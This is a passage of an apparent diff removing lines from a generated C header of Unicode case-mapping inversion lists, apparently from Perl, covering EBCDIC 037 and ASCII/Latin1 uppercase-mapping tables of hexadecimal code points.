TC_use_AUX_TABLE_3, - 0x1F2, - 0, - 0x1F2, - 0, - 0x1F4, - 0, - 0x1F8, - 0, - 0x1FA, - 0, - 0x1FC, - 0, - 0x1FE, - 0, - 0x200, - 0, - 0x202, - 0, - 0x204, - 0, - 0x206, - 0, - 0x208, - 0, - 0x20A, - 0, - 0x20C, - 0, - 0x20E, - 0, - 0x210, - 0, - 0x212, - 0, - 0x214, - 0, - 0x216, - 0, - 0x218, - 0, - 0x21A, - 0, - 0x21C, - 0, - 0x21E, - 0, - 0x222, - 0, - 0x224, - 0, - 0x226, - 0, - 0x228, - 0, - 0x22A, - 0, - 0x22C, - 0, - 0x22E, - 0, - 0x230, - 0, - 0x232, - 0, - 0x23B, - 0, - 0x2C7E, - 0, - 0x241, - 0, - 0x246, - 0, - 0x248, - 0, - 0x24A, - 0, - 0x24C, - 0, - 0x24E, - 0x2C6F, - 0x2C6D, - 0x2C70, - 0x181, - 0x186, - 0, - 0x189, - 0, - 0x18F, - 0, - 0x190, - 0xA7AB, - 0, - 0x193, - 0xA7AC, - 0, - 0x194, - 0, - 0xA78D, - 0xA7AA, - 0, - 0x197, - 0x196, - 0xA7AE, - 0x2C62, - 0xA7AD, - 0, - 0x19C, - 0, - 0x2C6E, - 0x19D, - 0, - 0x19F, - 0, - 0x2C64, - 0, - 0x1A6, - 0, - 0x1A9, - 0, - 0xA7B1, - 0x1AE, - 0x244, - 0x1B1, - 0x245, - 0, - 0x1B7, - 0, - 0xA7B2, - 0xA7B0, - 0, - 0x399, - 0, - 0x370, - 0, - 0x372, - 0, - 0x376, - 0, - 0x3FD, - 0, - TC_use_AUX_TABLE_4, - 0, - 0x386, - 0x388, - TC_use_AUX_TABLE_5, - 0x391, - 0x3A3, - 0x3A3, - 0x38C, - 0x38E, - 0, - 0x392, - 0x398, - 0, - 0x3A6, - 0x3A0, - 0x3CF, - 0, - 0x3D8, - 0, - 0x3DA, - 0, - 0x3DC, - 0, - 0x3DE, - 0, - 0x3E0, - 0, - 0x3E2, - 0, - 0x3E4, - 0, - 0x3E6, - 0, - 0x3E8, - 0, - 0x3EA, - 0, - 0x3EC, - 0, - 0x3EE, - 0x39A, - 0x3A1, - 0x3F9, - 0x37F, - 0, - 0x395, - 0, - 0x3F7, - 0, - 0x3FA, - 0, - 0x410, - 0x400, - 0, - 0x460, - 0, - 0x462, - 0, - 0x464, - 0, - 0x466, - 0, - 0x468, - 0, - 0x46A, - 0, - 0x46C, - 0, - 0x46E, - 0, - 0x470, - 0, - 0x472, - 0, - 0x474, - 0, - 0x476, - 0, - 0x478, - 0, - 0x47A, - 0, - 0x47C, - 0, - 0x47E, - 0, - 0x480, - 0, - 0x48A, - 0, - 0x48C, - 0, - 0x48E, - 0, - 0x490, - 0, - 0x492, - 0, - 0x494, - 0, - 0x496, - 0, - 0x498, - 0, - 0x49A, - 0, - 0x49C, - 0, - 0x49E, - 0, - 0x4A0, - 0, - 0x4A2, - 0, - 0x4A4, - 0, - 0x4A6, - 0, - 0x4A8, - 0, - 0x4AA, - 0, - 0x4AC, - 0, - 0x4AE, - 0, - 0x4B0, - 0, - 0x4B2, - 0, - 0x4B4, - 0, - 0x4B6, - 0, - 0x4B8, - 0, - 0x4BA, - 0, - 0x4BC, - 0, - 0x4BE, - 0, - 0x4C1, - 0, - 0x4C3, - 0, - 0x4C5, - 0, - 0x4C7, - 0, - 0x4C9, - 0, - 0x4CB, - 0, - 0x4CD, - 0x4C0, - 0, - 0x4D0, - 0, - 0x4D2, - 0, - 0x4D4, - 0, - 0x4D6, - 0, - 0x4D8, - 0, - 0x4DA, - 0, - 0x4DC, - 0, - 0x4DE, - 0, - 0x4E0, - 0, - 0x4E2, - 0, - 0x4E4, - 0, - 0x4E6, - 0, - 0x4E8, - 0, - 0x4EA, - 0, - 0x4EC, - 0, - 0x4EE, - 0, - 0x4F0, - 0, - 0x4F2, - 0, - 0x4F4, - 0, - 0x4F6, - 0, - 0x4F8, - 0, - 0x4FA, - 0, - 0x4FC, - 0, - 0x4FE, - 0, - 0x500, - 0, - 0x502, - 0, - 0x504, - 0, - 0x506, - 0, - 0x508, - 0, - 0x50A, - 0, - 0x50C, - 0, - 0x50E, - 0, - 0x510, - 0, - 0x512, - 0, - 0x514, - 0, - 0x516, - 0, - 0x518, - 0, - 0x51A, - 0, - 0x51C, - 0, - 0x51E, - 0, - 0x520, - 0, - 0x522, - 0, - 0x524, - 0, - 0x526, - 0, - 0x528, - 0, - 0x52A, - 0, - 0x52C, - 0, - 0x52E, - 0, - 0x531, - TC_use_AUX_TABLE_6, - 0, - 0x13F0, - 0, - 0x412, - 0x414, - 0x41E, - 0x421, - 0x422, - 0x42A, - 0x462, - 0xA64A, - 0, - 0xA77D, - 0, - 0x2C63, - 0, - 0x1E00, - 0, - 0x1E02, - 0, - 0x1E04, - 0, - 0x1E06, - 0, - 0x1E08, - 0, - 0x1E0A, - 0, - 0x1E0C, - 0, - 0x1E0E, - 0, - 0x1E10, - 0, - 0x1E12, - 0, - 0x1E14, - 0, - 0x1E16, - 0, - 0x1E18, - 0, - 0x1E1A, - 0, - 0x1E1C, - 0, - 0x1E1E, - 0, - 0x1E20, - 0, - 0x1E22, - 0, - 0x1E24, - 0, - 0x1E26, - 0, - 0x1E28, - 0, - 0x1E2A, - 0, - 0x1E2C, - 0, - 0x1E2E, - 0, - 0x1E30, - 0, - 0x1E32, - 0, - 0x1E34, - 0, - 0x1E36, - 0, - 0x1E38, - 0, - 0x1E3A, - 0, - 0x1E3C, - 0, - 0x1E3E, - 0, - 0x1E40, - 0, - 0x1E42, - 0, - 0x1E44, - 0, - 0x1E46, - 0, - 0x1E48, - 0, - 0x1E4A, - 0, - 0x1E4C, - 0, - 0x1E4E, - 0, - 0x1E50, - 0, - 0x1E52, - 0, - 0x1E54, - 0, - 0x1E56, - 0, - 0x1E58, - 0, - 0x1E5A, - 0, - 0x1E5C, - 0, - 0x1E5E, - 0, - 0x1E60, - 0, - 0x1E62, - 0, - 0x1E64, - 0, - 0x1E66, - 0, - 0x1E68, - 0, - 0x1E6A, - 0, - 0x1E6C, - 0, - 0x1E6E, - 0, - 0x1E70, - 0, - 0x1E72, - 0, - 0x1E74, - 0, - 0x1E76, - 0, - 0x1E78, - 0, - 0x1E7A, - 0, - 0x1E7C, - 0, - 0x1E7E, - 0, - 0x1E80, - 0, - 0x1E82, - 0, - 0x1E84, - 0, - 0x1E86, - 0, - 0x1E88, - 0, - 0x1E8A, - 0, - 0x1E8C, - 0, - 0x1E8E, - 0, - 0x1E90, - 0, - 0x1E92, - 0, - 0x1E94, - TC_use_AUX_TABLE_7, - TC_use_AUX_TABLE_8, - TC_use_AUX_TABLE_9, - TC_use_AUX_TABLE_10, - TC_use_AUX_TABLE_11, - 0x1E60, - 0, - 0x1EA0, - 0, - 0x1EA2, - 0, - 0x1EA4, - 0, - 0x1EA6, - 0, - 0x1EA8, - 0, - 0x1EAA, - 0, - 0x1EAC, - 0, - 0x1EAE, - 0, - 0x1EB0, - 0, - 0x1EB2, - 0, - 0x1EB4, - 0, - 0x1EB6, - 0, - 0x1EB8, - 0, - 0x1EBA, - 0, - 0x1EBC, - 0, - 0x1EBE, - 0, - 0x1EC0, - 0, - 0x1EC2, - 0, - 0x1EC4, - 0, - 0x1EC6, - 0, - 0x1EC8, - 0, - 0x1ECA, - 0, - 0x1ECC, - 0, - 0x1ECE, - 0, - 0x1ED0, - 0, - 0x1ED2, - 0, - 0x1ED4, - 0, - 0x1ED6, - 0, - 0x1ED8, - 0, - 0x1EDA, - 0, - 0x1EDC, - 0, - 0x1EDE, - 0, - 0x1EE0, - 0, - 0x1EE2, - 0, - 0x1EE4, - 0, - 0x1EE6, - 0, - 0x1EE8, - 0, - 0x1EEA, - 0, - 0x1EEC, - 0, - 0x1EEE, - 0, - 0x1EF0, - 0, - 0x1EF2, - 0, - 0x1EF4, - 0, - 0x1EF6, - 0, - 0x1EF8, - 0, - 0x1EFA, - 0, - 0x1EFC, - 0, - 0x1EFE, - 0x1F08, - 0, - 0x1F18, - 0, - 0x1F28, - 0, - 0x1F38, - 0, - 0x1F48, - 0, - TC_use_AUX_TABLE_12, - 0x1F59, - TC_use_AUX_TABLE_13, - 0x1F5B, - TC_use_AUX_TABLE_14, - 0x1F5D, - TC_use_AUX_TABLE_15, - 0x1F5F, - 0, - 0x1F68, - 0, - 0x1FBA, - 0x1FC8, - 0x1FDA, - 0x1FF8, - 0x1FEA, - 0x1FFA, - 0, - 0x1F88, - 0, - 0x1F98, - 0, - 0x1FA8, - 0, - 0x1FB8, - TC_use_AUX_TABLE_16, - 0x1FBC, - TC_use_AUX_TABLE_17, - 0, - TC_use_AUX_TABLE_18, - TC_use_AUX_TABLE_19, - 0, - 0x399, - 0, - TC_use_AUX_TABLE_20, - 0x1FCC, - TC_use_AUX_TABLE_21, - 0, - TC_use_AUX_TABLE_22, - TC_use_AUX_TABLE_23, - 0, - 0x1FD8, - TC_use_AUX_TABLE_24, - TC_use_AUX_TABLE_4, - 0, - TC_use_AUX_TABLE_25, - TC_use_AUX_TABLE_26, - 0, - 0x1FE8, - TC_use_AUX_TABLE_27, - TC_use_AUX_TABLE_5, - TC_use_AUX_TABLE_28, - 0x1FEC, - TC_use_AUX_TABLE_29, - TC_use_AUX_TABLE_30, - 0, - TC_use_AUX_TABLE_31, - 0x1FFC, - TC_use_AUX_TABLE_32, - 0, - TC_use_AUX_TABLE_33, - TC_use_AUX_TABLE_34, - 0, - 0x2132, - 0, - 0x2160, - 0, - 0x2183, - 0, - 0x24B6, - 0, - 0x2C00, - 0, - 0x2C60, - 0, - 0x23A, - 0x23E, - 0, - 0x2C67, - 0, - 0x2C69, - 0, - 0x2C6B, - 0, - 0x2C72, - 0, - 0x2C75, - 0, - 0x2C80, - 0, - 0x2C82, - 0, - 0x2C84, - 0, - 0x2C86, - 0, - 0x2C88, - 0, - 0x2C8A, - 0, - 0x2C8C, - 0, - 0x2C8E, - 0, - 0x2C90, - 0, - 0x2C92, - 0, - 0x2C94, - 0, - 0x2C96, - 0, - 0x2C98, - 0, - 0x2C9A, - 0, - 0x2C9C, - 0, - 0x2C9E, - 0, - 0x2CA0, - 0, - 0x2CA2, - 0, - 0x2CA4, - 0, - 0x2CA6, - 0, - 0x2CA8, - 0, - 0x2CAA, - 0, - 0x2CAC, - 0, - 0x2CAE, - 0, - 0x2CB0, - 0, - 0x2CB2, - 0, - 0x2CB4, - 0, - 0x2CB6, - 0, - 0x2CB8, - 0, - 0x2CBA, - 0, - 0x2CBC, - 0, - 0x2CBE, - 0, - 0x2CC0, - 0, - 0x2CC2, - 0, - 0x2CC4, - 0, - 0x2CC6, - 0, - 0x2CC8, - 0, - 0x2CCA, - 0, - 0x2CCC, - 0, - 0x2CCE, - 0, - 0x2CD0, - 0, - 0x2CD2, - 0, - 0x2CD4, - 0, - 0x2CD6, - 0, - 0x2CD8, - 0, - 0x2CDA, - 0, - 0x2CDC, - 0, - 0x2CDE, - 0, - 0x2CE0, - 0, - 0x2CE2, - 0, - 0x2CEB, - 0, - 0x2CED, - 0, - 0x2CF2, - 0, - 0x10A0, - 0, - 0x10C7, - 0, - 0x10CD, - 0, - 0xA640, - 0, - 0xA642, - 0, - 0xA644, - 0, - 0xA646, - 0, - 0xA648, - 0, - 0xA64A, - 0, - 0xA64C, - 0, - 0xA64E, - 0, - 0xA650, - 0, - 0xA652, - 0, - 0xA654, - 0, - 0xA656, - 0, - 0xA658, - 0, - 0xA65A, - 0, - 0xA65C, - 0, - 0xA65E, - 0, - 0xA660, - 0, - 0xA662, - 0, - 0xA664, - 0, - 0xA666, - 0, - 0xA668, - 0, - 0xA66A, - 0, - 0xA66C, - 0, - 0xA680, - 0, - 0xA682, - 0, - 0xA684, - 0, - 0xA686, - 0, - 0xA688, - 0, - 0xA68A, - 0, - 0xA68C, - 0, - 0xA68E, - 0, - 0xA690, - 0, - 0xA692, - 0, - 0xA694, - 0, - 0xA696, - 0, - 0xA698, - 0, - 0xA69A, - 0, - 0xA722, - 0, - 0xA724, - 0, - 0xA726, - 0, - 0xA728, - 0, - 0xA72A, - 0, - 0xA72C, - 0, - 0xA72E, - 0, - 0xA732, - 0, - 0xA734, - 0, - 0xA736, - 0, - 0xA738, - 0, - 0xA73A, - 0, - 0xA73C, - 0, - 0xA73E, - 0, - 0xA740, - 0, - 0xA742, - 0, - 0xA744, - 0, - 0xA746, - 0, - 0xA748, - 0, - 0xA74A, - 0, - 0xA74C, - 0, - 0xA74E, - 0, - 0xA750, - 0, - 0xA752, - 0, - 0xA754, - 0, - 0xA756, - 0, - 0xA758, - 0, - 0xA75A, - 0, - 0xA75C, - 0, - 0xA75E, - 0, - 0xA760, - 0, - 0xA762, - 0, - 0xA764, - 0, - 0xA766, - 0, - 0xA768, - 0, - 0xA76A, - 0, - 0xA76C, - 0, - 0xA76E, - 0, - 0xA779, - 0, - 0xA77B, - 0, - 0xA77E, - 0, - 0xA780, - 0, - 0xA782, - 0, - 0xA784, - 0, - 0xA786, - 0, - 0xA78B, - 0, - 0xA790, - 0, - 0xA792, - 0, - 0xA796, - 0, - 0xA798, - 0, - 0xA79A, - 0, - 0xA79C, - 0, - 0xA79E, - 0, - 0xA7A0, - 0, - 0xA7A2, - 0, - 0xA7A4, - 0, - 0xA7A6, - 0, - 0xA7A8, - 0, - 0xA7B4, - 0, - 0xA7B6, - 0, - 0xA7B3, - 0, - 0x13A0, - 0, - TC_use_AUX_TABLE_35, - TC_use_AUX_TABLE_36, - TC_use_AUX_TABLE_37, - TC_use_AUX_TABLE_38, - TC_use_AUX_TABLE_39, - TC_use_AUX_TABLE_40, - 0, - TC_use_AUX_TABLE_41, - TC_use_AUX_TABLE_42, - TC_use_AUX_TABLE_43, - TC_use_AUX_TABLE_44, - TC_use_AUX_TABLE_45, - 0, - 0xFF21, - 0, - 0x10400, - 0, - 0x104B0, - 0, - 0x10C80, - 0, - 0x118A0, - 0, - 0x1E900, - 0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV Uppercase_Mapping_invlist[] = { /* for ASCII/Latin1 */ - 1365, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61, - 0x7B, - 0xB5, - 0xB6, - 0xDF, - 0xE0, - 0xF7, - 0xF8, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19A, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F0, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x250, - 0x251, - 0x252, - 0x253, - 0x254, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25C, - 0x25D, - 0x260, - 0x261, - 0x262, - 0x263, - 0x264, - 0x265, - 0x266, - 0x267, - 0x268, - 0x269, - 0x26A, - 0x26B, - 0x26C, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x272, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x288, - 0x289, - 0x28A, - 0x28C, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29E, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3AD, - 0x3B0, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CC, - 0x3CD, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F3, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x450, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4CF, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x587, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E96, - 0x1E97, - 0x1E98, - 0x1E99, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F00, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F72, - 0x1F76, - 0x1F78, - 0x1F7A, - 0x1F7C, - 0x1F7E, - 0x1F80, - 0x1F81, - 0x1F82, - 0x1F83, - 0x1F84, - 0x1F85, - 0x1F86, - 0x1F87, - 0x1F88, - 0x1F89, - 0x1F8A, - 0x1F8B, - 0x1F8C, - 0x1F8D, - 0x1F8E, - 0x1F8F, - 0x1F90, - 0x1F91, - 0x1F92, - 0x1F93, - 0x1F94, - 0x1F95, - 0x1F96, - 0x1F97, - 0x1F98, - 0x1F99, - 0x1F9A, - 0x1F9B, - 0x1F9C, - 0x1F9D, - 0x1F9E, - 0x1F9F, - 0x1FA0, - 0x1FA1, - 0x1FA2, - 0x1FA3, - 0x1FA4, - 0x1FA5, - 0x1FA6, - 0x1FA7, - 0x1FA8, - 0x1FA9, - 0x1FAA, - 0x1FAB, - 0x1FAC, - 0x1FAD, - 0x1FAE, - 0x1FAF, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, - 0x1FB5, - 0x1FB6, - 0x1FB7, - 0x1FB8, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC3, - 0x1FC4, - 0x1FC5, - 0x1FC6, - 0x1FC7, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD2, - 0x1FD3, - 0x1FD4, - 0x1FD6, - 0x1FD7, - 0x1FD8, - 0x1FE0, - 0x1FE2, - 0x1FE3, - 0x1FE4, - 0x1FE5, - 0x1FE6, - 0x1FE7, - 0x1FE8, - 0x1FF2, - 0x1FF3, - 0x1FF4, - 0x1FF5, - 0x1FF6, - 0x1FF7, - 0x1FF8, - 0x1FFC, - 0x1FFD, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C66, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 